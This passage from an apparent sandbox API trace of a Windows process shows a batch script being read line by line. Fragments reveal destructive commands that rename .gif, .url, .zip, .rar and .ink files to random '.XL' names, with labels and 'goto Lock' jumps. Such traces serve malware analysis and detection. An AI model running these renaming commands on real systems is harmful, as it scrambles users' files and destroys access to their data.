lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0040.072] SetFilePointer (in: hFile=0x74, lDistanceToMove=2818, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xb02 [0040.072] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=26, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="RENAME *.gif %RANDOM%.XL\r\n\r\n") returned 26 [0040.072] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.072] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xb02 [0040.073] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.073] GetFileType (hFile=0x74) returned 0x1 [0040.073] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xb02 [0040.073] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0040.073] SetFilePointer (in: hFile=0x74, lDistanceToMove=2820, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xb04 [0040.073] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\nNAME *.gif %RANDOM%.XL\r\n") returned 2 [0040.073] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.073] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xb04 [0040.073] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.073] GetFileType (hFile=0x74) returned 0x1 [0040.073] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xb04 [0040.073] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0040.073] SetFilePointer (in: hFile=0x74, lDistanceToMove=2831, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xb0f [0040.073] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=11, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="goto Lock\r\nf %RANDOM%.XL\r\n") returned 11 [0040.073] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.073] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xb0f [0040.073] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.073] GetFileType (hFile=0x74) returned 0x1 [0040.074] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xb0f [0040.074] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0040.074] SetFilePointer (in: hFile=0x74, lDistanceToMove=2837, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xb15 [0040.074] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=6, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr=":url\r\nock\r\n") returned 6 [0040.074] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.074] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xb15 [0040.074] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.074] GetFileType (hFile=0x74) returned 0x1 [0040.074] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xb15 [0040.074] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0040.074] SetFilePointer (in: hFile=0x74, lDistanceToMove=2863, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xb2f [0040.074] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=26, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="RENAME *.url %RANDOM%.XL\r\n") returned 26 [0040.074] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.074] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xb2f [0040.074] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.074] GetFileType (hFile=0x74) returned 0x1 [0040.074] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xb2f [0040.075] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0040.075] SetFilePointer (in: hFile=0x74, lDistanceToMove=2865, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xb31 [0040.075] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\nNAME *.url %RANDOM%.XL\r\n") returned 2 [0040.075] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.075] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xb31 [0040.075] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.075] GetFileType (hFile=0x74) returned 0x1 [0040.075] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xb31 [0040.075] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0040.075] SetFilePointer (in: hFile=0x74, lDistanceToMove=2876, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xb3c [0040.075] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=11, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="goto Lock\r\nl %RANDOM%.XL\r\n") returned 11 [0040.075] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.075] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xb3c [0040.075] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.075] GetFileType (hFile=0x74) returned 0x1 [0040.075] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xb3c [0040.075] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0040.075] SetFilePointer (in: hFile=0x74, lDistanceToMove=2882, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xb42 [0040.076] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=6, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr=":zip\r\nock\r\n") returned 6 [0040.076] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.076] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xb42 [0040.076] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.076] GetFileType (hFile=0x74) returned 0x1 [0040.076] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xb42 [0040.076] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0040.076] SetFilePointer (in: hFile=0x74, lDistanceToMove=2884, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xb44 [0040.076] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\nip\r\n") returned 2 [0040.076] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.076] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xb44 [0040.076] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.076] GetFileType (hFile=0x74) returned 0x1 [0040.076] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xb44 [0040.076] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0040.076] SetFilePointer (in: hFile=0x74, lDistanceToMove=2910, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xb5e [0040.076] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=26, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="RENAME *.zip %RANDOM%.XL\r\n") returned 26 [0040.076] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.076] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xb5e [0040.077] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.077] GetFileType (hFile=0x74) returned 0x1 [0040.077] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xb5e [0040.077] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0040.077] SetFilePointer (in: hFile=0x74, lDistanceToMove=2921, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xb69 [0040.077] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=11, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="goto Lock\r\np %RANDOM%.XL\r\n") returned 11 [0040.077] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.077] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xb69 [0040.077] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.077] GetFileType (hFile=0x74) returned 0x1 [0040.077] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xb69 [0040.077] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0040.077] SetFilePointer (in: hFile=0x74, lDistanceToMove=2923, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xb6b [0040.077] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\nto Lock\r\n") returned 2 [0040.077] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.077] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xb6b [0040.077] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.077] GetFileType (hFile=0x74) returned 0x1 [0040.077] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xb6b [0040.078] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0040.078] SetFilePointer (in: hFile=0x74, lDistanceToMove=2929, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xb71 [0040.078] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=6, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr=":rar\r\nock\r\n") returned 6 [0040.078] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.078] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xb71 [0040.078] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.078] GetFileType (hFile=0x74) returned 0x1 [0040.078] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xb71 [0040.078] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0040.078] SetFilePointer (in: hFile=0x74, lDistanceToMove=2931, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xb73 [0040.078] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\nar\r\n") returned 2 [0040.078] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.078] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xb73 [0040.078] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.078] GetFileType (hFile=0x74) returned 0x1 [0040.078] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xb73 [0040.078] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0040.079] SetFilePointer (in: hFile=0x74, lDistanceToMove=2957, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xb8d [0040.079] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=26, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="RENAME *.rar %RANDOM%.XL\r\n") returned 26 [0040.079] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.079] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xb8d [0040.079] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.079] GetFileType (hFile=0x74) returned 0x1 [0040.079] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xb8d [0040.079] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0040.079] SetFilePointer (in: hFile=0x74, lDistanceToMove=2959, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xb8f [0040.079] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\nNAME *.rar %RANDOM%.XL\r\n") returned 2 [0040.079] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.079] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xb8f [0040.079] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.079] GetFileType (hFile=0x74) returned 0x1 [0040.079] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xb8f [0040.079] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0040.079] SetFilePointer (in: hFile=0x74, lDistanceToMove=2970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xb9a [0040.079] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=11, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="goto Lock\r\nr %RANDOM%.XL\r\n") returned 11 [0040.079] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.080] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xb9a [0040.080] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.080] GetFileType (hFile=0x74) returned 0x1 [0040.080] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xb9a [0040.080] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0040.080] SetFilePointer (in: hFile=0x74, lDistanceToMove=2972, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xb9c [0040.080] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\nto Lock\r\n") returned 2 [0040.080] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.080] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xb9c [0040.080] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.080] GetFileType (hFile=0x74) returned 0x1 [0040.080] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xb9c [0040.080] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0040.080] SetFilePointer (in: hFile=0x74, lDistanceToMove=2978, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xba2 [0040.080] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=6, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr=":ink\r\nock\r\n") returned 6 [0040.080] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.080] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xba2 [0040.080] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.081] GetFileType (hFile=0x74) returned 0x1 [0040.081] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xba2 [0040.081] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0040.081] SetFilePointer (in: hFile=0x74, lDistanceToMove=2980, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xba4 [0040.081] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\nnk\r\n") returned 2 [0040.081] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.081] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xba4 [0040.081] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.081] GetFileType (hFile=0x74) returned 0x1 [0040.081] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xba4 [0040.081] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0040.081] SetFilePointer (in: hFile=0x74, lDistanceToMove=3006, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xbbe [0040.081] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=26, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="RENAME *.ink %RANDOM%.XL\r\n") returned 26 [0040.081] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.081] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xbbe [0040.081] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.081] GetFileType (hFile=0x74) returned 0x1 [0040.081] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xbbe [0040.082] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0040.082] SetFilePointer (in: hFile=0x74, lDistanceToMove=3017, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xbc9 [0040.082] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=11, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="goto Lock\r\nk %RANDOM%.XL\r\n") returned 11 [0040.082] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.082] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xbc9 [0040.082] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.082] GetFileType (hFile=0x74) returned 0x1 [0040.082] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xbc9 [0040.082] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0040.082] SetFilePointer (in: hFile=0x74, lDistanceToMove=3019, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xbcb [0040.082] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\nto Lock\r\n") returned 2 [0040.082] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.082] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xbcb [0040.082] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.082] GetFileType (hFile=0x74) returned 0x1 [0040.083] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xbcb [0040.083] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 